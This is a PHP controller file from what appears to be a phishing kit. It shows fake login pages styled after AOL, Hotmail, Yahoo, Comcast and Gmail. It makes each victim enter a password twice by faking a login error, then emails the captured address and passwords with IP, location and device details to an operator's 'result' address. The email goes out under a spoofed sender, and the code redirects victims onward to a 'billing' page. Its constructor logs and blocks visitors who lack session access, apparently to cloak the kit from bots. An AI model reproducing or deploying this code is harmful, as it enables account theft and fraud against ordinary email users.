<?php 
defined("ACCESS") or die('Konz');

class Emails 
{
	private $_LICENSE = FCPATH . "arahmataAngin/system/private/license.ini";
	private $_CONFIG = FCPATH . "arahmataAngin/system/private/setting.json";

	public function __construct()
	{
		$this->pc = new Pc();
		$_ini_file = parse_ini_file($this->_LICENSE);
		$this->license = new license($_ini_file);

		if (!isset($_SESSION['access']) and ($_SESSION['access'] != 3)) {

			write(FCPATH . 'arahmataAngin/system/stats/log_robot.txt', 'a', "{$this->pc->ip_address}\r\n");
			_blocks();
			redirect(uriRand());
		}
	}

	public function index()
	{
		$page = $_SESSION['email_type'];
		$hotmail = array("msn","hotmail","outlook","live","passport");
		$yahoo = array("yahoo","att","ymail","rocketmail");

		if (in_array($page, $hotmail)){
			$page = 'hotmail';
		} elseif(in_array($page, $yahoo)){
			$page = 'yahoo';
		} else {
			$page = $page;
		}

		$page = strtolower($page);
		$accept  = array("aol","hotmail","yahoo","comcast","gmail");

		if (in_array($page, $accept)) {
			echo view("email/{$page}/index");
		} else {
			echo view("email/email/index");
		}
	}

	public function try()
	{
		$page = $_SESSION['email_type'];
		$hotmail = array("msn","hotmail","outlook","live","passport");
		$yahoo = array("yahoo","att","ymail","rocketmail");

		if (in_array($page, $hotmail)){
			$page = 'hotmail';
		} elseif(in_array($page, $yahoo)){
			$page = 'yahoo';
		} else {
			$page = $page;
		}

		$page = strtolower($page);
		$accept  = array("aol","hotmail","yahoo","comcast","gmail");

		if (in_array($page, $accept)) {
			echo view("email/{$page}/index.error");
		} else {
			echo view("email/email/index.error");
		}
	}

	public function first()
	{
		if (isset($_POST['password'])){
			$_SESSION['password_email'] = trim($_POST['password']);
		}

		redirect(base_url() . 'emails/try?error_id='. md5(time()));
	}

	public function process()
	{
		if (isset($_POST['password'])){
			$_SESSION['password_email2'] = trim($_POST['password']);
			$email = ($_POST['emailLogin']) ? $_POST['emailLogin'] : $_SESSION['emailLogin'];
			$password	= ($_POST['password']) ? $_POST['password'] : '';
			$password2 	= ($_SESSION['password_email']) ? $_SESSION['password_email'] : $_POST['password'];

			$message = 
"<strong><span style='color:#ffffff;display: none;font-size: 1px;line-height: 1px;max-height: 0px;max-width: 0px;opacity: 0;overflow: hidden;'>MD5 HASH ".md5(time())." NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE</span></strong>
<pre>
<b>##------------------------[ EMAIL ACCESS ]-------------------##</b><font color='#C500FF '>
  [!_!] Email        :: {$email}
  [!_!] Password     :: {$password2}
  [!_!] Password II  :: {$password}</font>
<b>##------------------------[ Device Info ]--------------------##</b><font color='#0013FF'>
  [*_*] IP             :: {$this->pc->ip_address}
  [*_*] Country        :: {$_SESSION['country']}
  [*_*] Region         :: {$_SESSION['regionName']}
  [*_*] City           :: {$_SESSION['city']}
  [*_*] OS / Browser   :: {$this->pc->platform} / {$this->pc->browser}
  [*_*] Date           :: "._date()."
  [*_*] User Agent     :: {$this->pc->agent}</font>
<b>##------------------[ DONE DOT PHP ]---------------------##</b>
  </pre>";

			$subject = "EMAIL LOGIN: ".strtoupper($email)." [ {$_SESSION['country']} - {$this->pc->ip_address} - {$this->pc->platform} ]";
			$headers = 'MIME-Version: 1.0' . "\r\n";
			$headers .= 'Content-type: text/html; charset=UTF-8' . "\r\n";
			$headers .= "From: Email Login <dpriv@dprpemerintah.id>";

			@mail(_config('result'), $subject, $message, $headers);
			
			write(FCPATH . 'arahmataAngin/system/stats/log_email.txt', 'a', "{$this->pc->ip_address}\r\n");
			
			$_SESSION['access'] = 3;			
			redirect(base_url() . 'billing?_ts='. md5(time()));
		}
	}
}